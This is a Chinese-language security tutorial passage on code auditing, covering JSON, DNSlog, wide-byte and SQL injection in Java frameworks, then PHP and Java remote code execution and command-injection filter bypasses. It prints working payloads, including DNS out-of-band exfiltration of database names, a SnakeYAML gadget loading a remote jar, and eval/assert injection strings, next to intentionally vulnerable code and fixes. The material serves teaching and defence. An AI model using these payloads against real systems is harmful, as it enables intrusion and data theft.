JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。

在JSON中是根据引号(")、冒号(:)、逗号(,)、花括号({})来区分各字符的意义的。如果向JSON中注入恶意字符,那么JSON将解析失败。

例如:输入的Password值为:admin"1,那么在JSON语句中为:“password”:“admin"1”,为了"password":“admin"1"成功解析,我们可以把"admin"1"转换为"admin"1”。
JSON注入和XML注入、SQL注入一样,都需要对影响语句的内容进行转义,如双引号、花括号等。

3. 如何避免 JSON 注入

1、检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注入。

2、后台代码对Json数据进行编码

JsonStringEncoder

3、使用安全json parser防止json注入

⑤ DNSlog注入

1. 什么是dnslog注入?

​ dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

2. 为什么要进行dnslog注入?

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。。

3. 扩展

首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性:

secure_file_priv特性,有三种状态

secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

可了解一下load_file和outfile:

LOAD_FILE()函数

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

此函数使用需要满足的条件:

1、文件必须位于服务器主机上
2、你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
3、文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

什么是UNC路径?

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
DNSLOG平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

6、SQL注入案例

1. SQL注入

直接在mysql命令行执行:

select load_file('\\\\requests.xxxx.ceye.io\\aa');
这是最基本的用法,来看看利用盲注来回显。
或者构造
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog

2. 配合xss

XSS 盲打在安全测试的时候是比较常用的:

payload: ""

3. 配合SSRF

payload: "...  ..."

4. 配合xxe

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样:

"
>
%all;

5. 配合命令执行

payload: " ping %PATH%.pxxx.ceye.io ..."

6. 宽字节注入

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。

多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。

UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。

要有宽字节注入漏洞前提条件:

1、首先要满足目标程序使用双/多字节字符集进行解析

2、其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\。

宽字节带来的安全问题主要是吃ascll字符(一个字节)的现象:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

当提交:

id=1' and 1=1%23

时,MySQL的运行的SQL语句为:

select * from user where  id ='1\' and 1=1#'

很明显这是没有注入成功的,而当我们提交:

id=1%df' and 1=1%23

MySQL的运行的SQL语句为:

select * from user where id ='1運' and 1=1#'

我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

%df' or 1=1# 直接遍历

7、SQL注入Java代码审计

1. 漏洞原理

在常见的web漏洞中,SQL注入漏洞较为常见,危害也较大。攻击者一旦利用系统中存在的SQL注入漏洞来发起攻击,在条件允许的情况下,不仅可以获取整站数据,还可通过进一步的渗透来获取服务器权限,从而进入内网。

 注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。接下来说下SQL注入漏洞的原理。

例如:

当用户发送GET请求:
http://www.xxx.com/news.jsp?id=1

这是一个新闻详情页面,会显示出新闻的title和content,程序内部会接收这个id参数传递给SQL语句,SQL如下:

SELECT title,content FROM news WHERE id = 1

这是SQL的原义,也是程序员想要得到的结果,但是如果用户改变了id的内容,修改成如下:

http://www.jd.com/news.jsp?id=1 and 1=2 UNION SELECT userna-me, password FROM admin

此时内部程序执行的SQL语句为:

SELECT title,content FROM news WHERE id = 1 and 1=2 UNION SELECT username, password FROM admin

这条SQL的原义就会被改变,导致将管理员数据表中的用户名显示在页面title位置,密码显示在页面content位置,攻击成功。

2. jdbc方式

在上古时期,人们往往这么从数据库获取数据:

public User getUserById(String id) throws SQLException {
    Connection connection = JDBCTOOLS.getConnection();
    String sql = "select id,username from user where id=" + id;
    Statement statement = connection.createStatement();
    ResultSet resultSet = 
statement.executeQuery(sql);
    resultSet.next();
    int userId = resultSet.getInt(1);
    String username = resultSet.getString(2);     User user = new User(userId, username);     return user;
}

通过拼接字符串来构建sql语句,其中又有用户可控的部分,很容易出现问题。

直接拼接实例代码:

http://localhost:8080/sqli/jdbc/vul?username=yyds

预编译处理后的代码(修复后代码):

http://localhost:8080/sqli/jdbc/sec?username=yyds

后来,出现了预编译机制,但是预编译只能处理查询参数,很多场景下仅仅使用预编译是不够的。

1)like

like拼接实现代码:

http://localhost:8080/sqli/jdbc/like?username=yyds

在使用模糊查询的场景中:

String sql = "select * from user where username like '%?%'";

这种写法是无法进行预编译的,程序会报错。

like预处理报错:

http://localhost:8080/sqli/jdbc/likesec?username=joy

Java代码审计详解_第32张图片

like预处理:

http://localhost:8080/sqli/jdbc/likesec?username=yyds

2)order by

需要按照时间、id等信息进行排序的时候,也是无法使用预编译的。

sort=123:

String sort = req.getParameter("sort");
String sql = "select * from user order by ?"; PreparedStatement preparedStatement = connection.prepareStatement(sql); //预编译preparedStatement.setString(1, sort); //绑定参数ResultSet resultSet = 
preparedStatement.executeQuery();

如果像上面这样强行使用预编译,数据库会将字段名解析为字符串,即实际执行的sql为:

select * from user order by 'sort';

无法达到实际需求。

总结:jdbc方式进行拼接的,可以直接使用预处理来规避sql注入,但是如果有like、order by 进行参数拼接不能直接使用预处理来解决,必须在set处把%拼接上。

3. Mybatis

前置知识:了解Mybatis框架映射关系

mapper定位java代码:

Java代码审计详解_第33张图片

parm定位方法:

List findByUserNameVuln02(String username);
定位到UserMapper.xml中的id
  

Mybatis中两种数据库拼接方法:

${xx}是直接拼接
#{xxx}预处理后拼接   //string   int float。。。 

mybatis有两种写法,一种是使用@Param 注解:

@Mapper
public interface CategoryMapper {
    @Select("select * from category_ where name= '${name}' ")
    public CategoryM getByName(@Param("name") String name);
}

1、${}直接拼接,类似jdbc中的直接拼接审计方法

http://localhost:8080/sqli/mybatis/vuln01?username=yyds
/ * 
http://localhost:8080/sqli/mybatis/vuln01?username=yyds' or '1'='1
*/
@GetMapping("/mybatis/vuln01")
public List mybatisVuln01(@RequestParam("username") String username) {
        return userMapper.findByUserNameVuln01(username);
}

这里使用的是mybatis来进行SQL查询,获取参数username后使用userMapper.findByUserNameVuln01(username)来进行查询。

来看一下findByUserNameVuln01。MyBatis支持两种参数符号,一种是#,另一种是$。这里的参数获取使用的是${username},而不是# {username},而${username}是直接将参数拼接到了SQL查询语句中,就会造成SQL注入。

@Select("select * from users where username = '${username}'")
List findByUserNameVuln01(@Param("username") String username);

注入语句:

http://localhost:8080/sqli/mybatis/vuln01?username=yyds' or '1'='1

${}修复方法:

采用#{},也就是预处理的形式:

http://localhost:8080/sqli/mybatis/sec01?username=yyds
@Select("select * from users where username = # {username}")
User findByUserName(@Param("username") String username);

2、Mybatis中like审计方法

访问路径:

http://localhost:8080/sqli/mybatis/vuln02?username=admin

这里使用的是findByUserNameVuln02(String username);来进行查询,来看一下UserMapper.xml,也就是他的XML映射文件。

List findByUserNameVuln02(String username);

UserMapper.xml:

_parameter是Mybatis的内置参数,代表整个参数。

这里传入未过滤的username后,插入到SQL语句中,就成了:select * from users where username like '%username%',${}直接拼接字符串,而且这里在like的后面不能使用#{}预编译,不然就会产生报错。

注入语句:

http://localhost:8080/sqli/mybatis/vuln02?username=admin' or '1'='1' %23
url编码,%23 #

修复建议:

可以使用like concat('%',#{username}, '%')就可以避免注入了。

http://localhost:8080/sqli/mybatis/vsec02?username=yyds

java代码:

List findByUserNameVsec02(String username);

Mybatis配置:


    select * from users
    
        order by ${order} asc 
    

可以看到我们输入的参数在order by之后,也是${order}直接拼接起来了,与like相同,在这也是无法使用预编译,只能使用${}。由于没有过滤就直接拼接,很显然存在注入。

注入语句:

http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

修复代码:

1、当order排序能不让用户输入就不让用户输入,后台直接写死,不传递参数到后端:

http://localhost:8080/sqli/mybatis/sec03

Java代码块:

User OrderByUsername();

Mysql配置: 

 

2、当order必须要从外界获取参数到后端代码进行拼接时候,那就先对参数进行过滤,过滤后再使用:

http://localhost:8080/sqli/mybatis/orderby/sec04?sort=1

Java代码块:

@GetMapping("/mybatis/orderby/sec04")
public List mybatisOrderBySec04(@RequestParam("sort") String sort) {
    String filter_order = SecurityUtil.sqlFilter(sort);
    return userMapper.findByUserNameVuln03(filter_order); 
}

//sqlFilter
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String sqlFilter(String sql) {
    if (!FILTER_PATTERN.matcher(sql).matches()) {  //严格限制用户输入只能包含a-zA-Z0-9_-.
        return null;     
    }
    return sql;
}

Mysql配置:

4. Hibernate

@Autowired CategoryDAO categoryDAO; //依赖注入
@RequestMapping("/hibernate")
public String hibernate(@RequestParam(name = "id") int id) {
      Category category = categoryDAO.getOne(id);   
      return category.getName();
}

hibernate即我们经常使用的orm的一种实现,如果使用已封装好的方法,那么默认是使用预编译的。需要注意的有这么几种情况:

1、对于一些复杂的sql语句,需要开发手写sql,此时要严格过滤用户输入。
2、上面提到的预编译不生效的几种场景。

5. 关键词

存在问题的关键词:

JDBC连接方式下:  +、like、order by hibernate: +、like、order by Mybatis: $

三、REC(远程命令执行漏洞)

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。

很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,而代码执行漏洞也会执行系统命令,这样就容易混淆。其实两者比较好区分:命令执行漏洞是直接调用操作系统命令,故这里叫作OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操作系统命令。

1)命令执行漏洞

Web应用有时需要调用一些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。

示例:pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:

通常这并没有什么问题,但不要忘记命令可以连接执行。

输入:

www.baidu.com && dir

 Java代码审计详解_第34张图片

在知道了系统命令可以连接执行后,如果 Web应用程序没有过滤好输入,就变得相当危险。命令注入漏洞本身不会导致系统受损,但是攻击者可能能够使用提权升级和其他漏洞来获得更多访问权限。

常用的命令连接符:

Windows和Linux都支持的连接符:

A|B    只执行B
A||B   如果A执行出错,则执行B
A&B    先执行A,不管是否成功,都会执行B
A&&B   先执行A,执行成功后执行B,否则不执行B

只有Linux支持的连接符:

A;B    先执行A,再执行B

2)代码执行漏洞

代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

例:

Java代码审计详解_第35张图片

让用户输入字符,我们来输入phpinfo();

发现直接执行了我们输入的代码:

查看代码发现是 eval() 函数执行了我们的提交参数。 

出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。  而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

Java代码审计详解_第36张图片

产生原因:

  • Web源码:thinkphp、eyoucms、wordpress
  • 中间件平台:Tomcat、apache、struts2、Redis、Nginx(PHP 远程代码执行漏洞复现(CVE-2019-11043))
  • 其他环境:php-cgi、jenkins-cl、java RMI

监测手段:

  • 白盒:代码审计
  • 黑盒:漏扫工具、公开漏洞、手工看参数及功能点

防御手段:

  • 敏感函数禁用
  • 变量过滤或固定
  • waf产品

1、代码执行

1)PHP脚本代码审计

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

命令执行:

system()       输出并返回最后一行shell结果
exec()         执行一个外部程序
shell_exec()   通过shell环境执行命令,并且将完整的输出以字符串的方式返回
passthru()     执行外部程序并且显示原始输出
pcntl_exec()   在当前进程空间执行指定程序
popen()        打开进程文件指针
proc_open()    执行一个命令,并且打开用来输入/输出的文件指针

代码执行:

eval()            把字符串作为PHP代码执行
assert()          检查一个断言是否为 FALSE,可用来执行代码
preg_replace()    执行一个正则表达式的搜索和替换
call_user_func()  把第一个参数作为回调函数调用
call_user_func_array() 调用回调函数,并把一个数组参数作为回调函数的参数
array_map()       为数组的每个元素应用回调函数

a、eval()

eval()函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:


b、assert()

与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

c、preg_replace

语法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

[+] $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
[+] $replacement: 用于替换的字符串或字符串数组。
[+] $subject: 要搜索替换的目标字符串或字符串数组。
[+] $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
[+] $count: 可选,为替换执行的次数。

返回值:如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。 如果匹配被查找到,替换后的 subject 被返回,其他情况下返回没有改变的 subject。如果发生错误,返回 NULL。

危险点:preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

d、create_function()

语法:

string create_function(string $args, string $code)
string $args 变量部分
string $code 方法代码部分

举例:

create_function('$fname','echo $fname."Zhang"')

类似于:

function fT($fname) {
  echo $fname."Zhang";
}

举一个官方提供的例子:

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

现在利用create_function()实现代码注入。

测试环境版本:apache +php 5.2、apache +php 5.3

有问题的代码:

";
echo "==============================";
echo "
"; $f1 = create_function('$a',$str2); echo "
"; echo "=============================="; ?>

利用方法:

index.php?id=2;}phpinfo();/*

实现原理:

由于id= 2;}phpinfo();/*
执行函数为:
源代码:
function fT($a) {
  echo "test".$a;
}

注入后代码:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}

Java代码审计详解_第37张图片

e、array_map

array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致。

代码示例:

f、call_user_func()/call_user_func_array ()

call_user_func——把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array——调用回调函数,并把一个数组参数作为回调函数的参数



g、array_filter()

array array_filter(array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

h、usort()、uasort()

usort()通过用户自定义的比较函数对数组进行排序。

uasort()使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

php环境>=5.6才能用

利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用

利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

i、文件操作函数

file_put_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

代码示例:

';
file_put_contents('test1.php',$test);
?>
'); 
?>

j、动态函数

PHP函数直接由字符串拼接

代码示例:

2)Java代码审计

有以下5类:Runtime、StringBuilder、ScriptEngineManager、Yaml、GroovyShell。

a、runtime/exec

访问url为:

http://localhost:8080/rce/runtime/exec?cmd=whoami
http://localhost:8080/rce/runtime/exec?cmd=calc
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
    Runtime run = Runtime.getRuntime();
    StringBuilder sb = new StringBuilder();

    try {
        Process p = run.exec(cmd);
        BufferedInputStream in = new BufferedInputStream(p.getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String tmpStr;

        while ((tmpStr = inBr.readLine()) != null) {
            sb.append(tmpStr);
        }

        if (p.waitFor() != 0) {
            if (p.exitValue() == 1)
                return "Command exec failed!!";
        }

        inBr.close();
        in.close();
    } catch (Exception e) {
        return e.toString();
    }
    return sb.toString();
}

最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。

b、ProcessBuilder

访问url为

http://localhost:8080/rce/ProcessBuilder?cmd=whoami

同样也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。

/**
 * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
 * @param cmd cmd
 */
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

    StringBuilder sb = new StringBuilder();

    try {
        //String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
        String[] arrCmd = {cmd};                  //windows,windos下无需指定
        ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
        Process p = processBuilder.start();
        BufferedInputStream in = new BufferedInputStream(p.getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String tmpStr;

        while ((tmpStr = inBr.readLine()) != null) {
            sb.append(tmpStr);
        }
    } catch (Exception e) {
        return e.toString();
    }

    return sb.toString();
}

c、jscmd

访问url为http://localhost:8080/rce/jscmd?jsurl=http://localhost/exe.js,传入的参数为一个JavaScript代码的url地址:

http://localhost/exe.js
var a = mainOutput(); 
function mainOutput() { 
    var x=java.lang.Runtime.getRuntime().exec("calc");
}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。

/**
 * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
 *
 * curl http://xx.yy/exe.js
 * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
 *
 * @param jsurl js url
 */
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
    // js nashorn javascript ecmascript
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取:
    //ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取:     
    //ScriptEngine engine = manager.getEngineByMimeType("text/javascript");  //通过MIME类型来获取: 
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
    String cmd = String.format("load(\"%s\")", jsurl);
    engine.eval(cmd, bindings);
}

d、yml

YAML(YAML Ain’t Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件

yaml有三种数据结构

① 对象

写在一行:

address: {province: 山东, city: 济南}

写在多行:

address:
  province: 山东
  city: 济南

② 数组

写在一行:

hobbyList: [游泳, 跑步]

写在多行:

hobbyList:
  - 游泳
  - 跑步

③ 纯量

  • 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以。
userId: S123
username: "lisi"
password: '123456'
province: 山东
city: "济南 : ss"
  • 布尔值
success: true
  • 整数
age: 13
  • 浮点数
weight: 75.5
  • Null
    gender: ~
  • 时间 

 时间使用ISO8601标准 [ISO8601](https://baike.baidu.com/item/ISO 8601/3910715?fr=aladdin)

createDate: 2001-12-14T21:59:43.10+05     

使用snakeyaml将yaml文件解析成javabean

添加maven依赖:

复制
  org.yaml
  snakeyaml
  1.27

访问url为:

http://localhost:8080/rce/vuln/yarm

利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。

先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

public void yarm(String content) {
    Yaml y = new Yaml();
    y.load(content);
}

payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有:

package artsploit; 
 import javax.script.ScriptEngine; 
import javax.script.ScriptEngineFactory; 
import java.io.IOException; 
import java.util.List; 
 public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 
 public AwesomeScriptEngineFactory() { 
try { 
		Runtime.getRuntime().exec("whoami"); 
        Runtime.getRuntime().exec("calc"); 
    } catch (IOException e) { 
          e.printStackTrace(); 
   } 
} 
 @Override 
public String getEngineName() { 
return null; 
} 
 @Override 
public String getEngineVersion() { 
return null; 
} 
 @Override 
public List getExtensions() { 
return null; 
} 
 @Override 
public List getMimeTypes() { 
return null; 
} 
 @Override 
public List getNames() { 
return null; 
} 
 @Override 
public String getLanguageName() { 
return null; 
} 
 @Override 
public String getLanguageVersion() { 
return null; 
} 
 @Override 
public Object getParameter(String key) { 
return null; 
} 
 @Override 
public String getMethodCallSyntax(String obj, String m, String... args) { 
return null; 
} 
 @Override 
public String getOutputStatement(String toDisplay) { 
return null; 
} 
 @Override 
public String getProgram(String... statements) { 
return null; 
} 
 @Override 
public ScriptEngine getScriptEngine() { 
return null; 
} 
}

对上面java代码进行打包。

在javac.exe下进行编译:

创建了jar.exe的快捷方式,注意生成yaml的路径:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

随后将以下内容传递给参数即可:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
  ]]
]

拼接后url:

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://localhost/yaml-payload.jar%22]]]]

e、groovy

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。

Groovy语法:

https://www.w3cschool.cn/groovy/

访问url为:

http://localhost:8080/rce/groovy?content=‘calc’.execute()

GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce:

public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
}

2、命令执行

1)命令执行漏洞原理

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用sysytem、exec、shell_exec、passthru、 pcntl_exec、popen、proc_popen、 反引号等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

2)命令执行漏洞利用条件

  1. 应用调用执行系统命令的函数
  2. 将用户输入作为系统命令的参数拼接到了命令行中
  3. 没有对用户输入进行过滤或过滤不严

3)漏洞分类

① 代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program --arg $arg");

② 系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

③ 调用的第三方组件存在代码执行漏洞

  • 如wordPress中用来处理图片的imageMagick组件
  • JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
  • ThinkPHP命令执行

4)漏洞危害

  • 继承Web服务程序的权限去执行系统命令或读写文件
  • 反弹shell
  • 控制整个网站甚至服务器
  • 进一步内网渗透
  • 等等

5)命令执行漏洞攻击

页面rec.php提供了ping的功能,当给参数IP输入127.0.0.1时,程序会执行ping 127.0.0.1,然后将ping的结果返回到页面上:

Java代码审计详解_第38张图片

而如果将参数IP设置为127.0.0.1|dir,然后再次访问,从返回结果可以看到,程序直接将目录结构返回到页面上了,这里就利用了管道符"|"让系统执行了命令dir:

Java代码审计详解_第39张图片

① 命令拼接符 |、||、&、&& 的区别

&:不管前后命令是否执行成功都会执行前后命令

&&:具有短路效果。 前面的命令执行成功才能执行后面的命令

|:管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行

| |:具有短路效果。 前面的命令执行不成功才能执行后面的命令

② Windows系列支持的管道符

  • |:直接执行后面的语句,例如:ping 127.0.0.1|whoami
  • ||:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如ping 2||whoami
  • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
  • &&:如果前面的语句为假直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

③ Linux系统支持的管道符

  • ; :无论前面真假,执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami
  • |:显示后面语句执行的结果,例如:ping 127.0.0.1|whoami
  • ||:当前面执行的语句出错时,执行后面的语句。例如ping 1||whoami
  • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
  • &&:如果前面的语句为假直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

④ 例子分析

  • ping 127.0.0.1&ipconfig #在linux系统里是几乎同时执行
  • ping 127.0.0.1 && ipconfig #在linux系统里执行完前面再去执行后面
  • ping 127.0.0.1 &;& ipconfig #其中;会被解析为空
  • ping 127.0.0.1 || ipconfig #在linux中两个|| = or
  • ping 127.0.0.1 | ipconfig #在linux中|叫管道符,把前面一个命令执行的结果给后面的命令执行

6)命令执行漏洞代码分析

服务端处理ping的代码如下所示,程序获取GET参数IP,然后拼接到system()函数中,利用system()函数执行ping的功能,但是此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令:

7)命令执行漏洞修复建议

  • 尽量不要使用命令执行函数
  • 客户端提交的变量再进入执行命令函数前要做好过滤和检测
  • 在使用动态函数之前,确保使用的函数是指定的函数之一
  • 对PHP语言来说,不能完全控制的危险函数最好不要使用

3、命令执行WAF绕过技巧

语法:

Java代码审计详解_第40张图片

专用字符集: 

Java代码审计详解_第41张图片

Linux Shell元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符:

Java代码审计详解_第42张图片

1)面对屏蔽关键词(黑名单绕过)

(1)使用连接符

a、单引号/双引号

比如有的Linux会屏蔽ls,可以使用单引号进行绕过。例如127.0.0.1 | l's'来进行绕过,但是要谨记一点:引号的个数必须要是偶数个,才能完成闭合(命令完成闭合,文件/目录名完成闭合,不能命令中一个引号和文件/目录中一个引号闭合,这样无法闭合)

b、反斜杠\

\c\a\t pas\s\.tx\t,不用闭合,想多少个就多少个。但注意不要两个\在一块,否则会\会被转义成字符串\

(2)使用类似命令

a、读文件绕过

(1) cat
(2) paste: 会把每个文件以列对列的方式,一列列地加以合并
(3) more: 一页一页的显示档案内容
(4) less: 与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(5) head: 查看头几行
(6) tac: 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(7) tail: 查看尾几行
(8) nl:显示的时候,顺便输出行号
(9) od: 以二进制的方式读取档案内容
(10) vi: 一种编辑器,这个也可以查看
(11) vim: 一种编辑器,这个也可以查看
(12) sort: 可以查看
(13) uniq: 可以查看
(14) file -f: 报错出具体内容
$ more ts1   //查看文件ts1
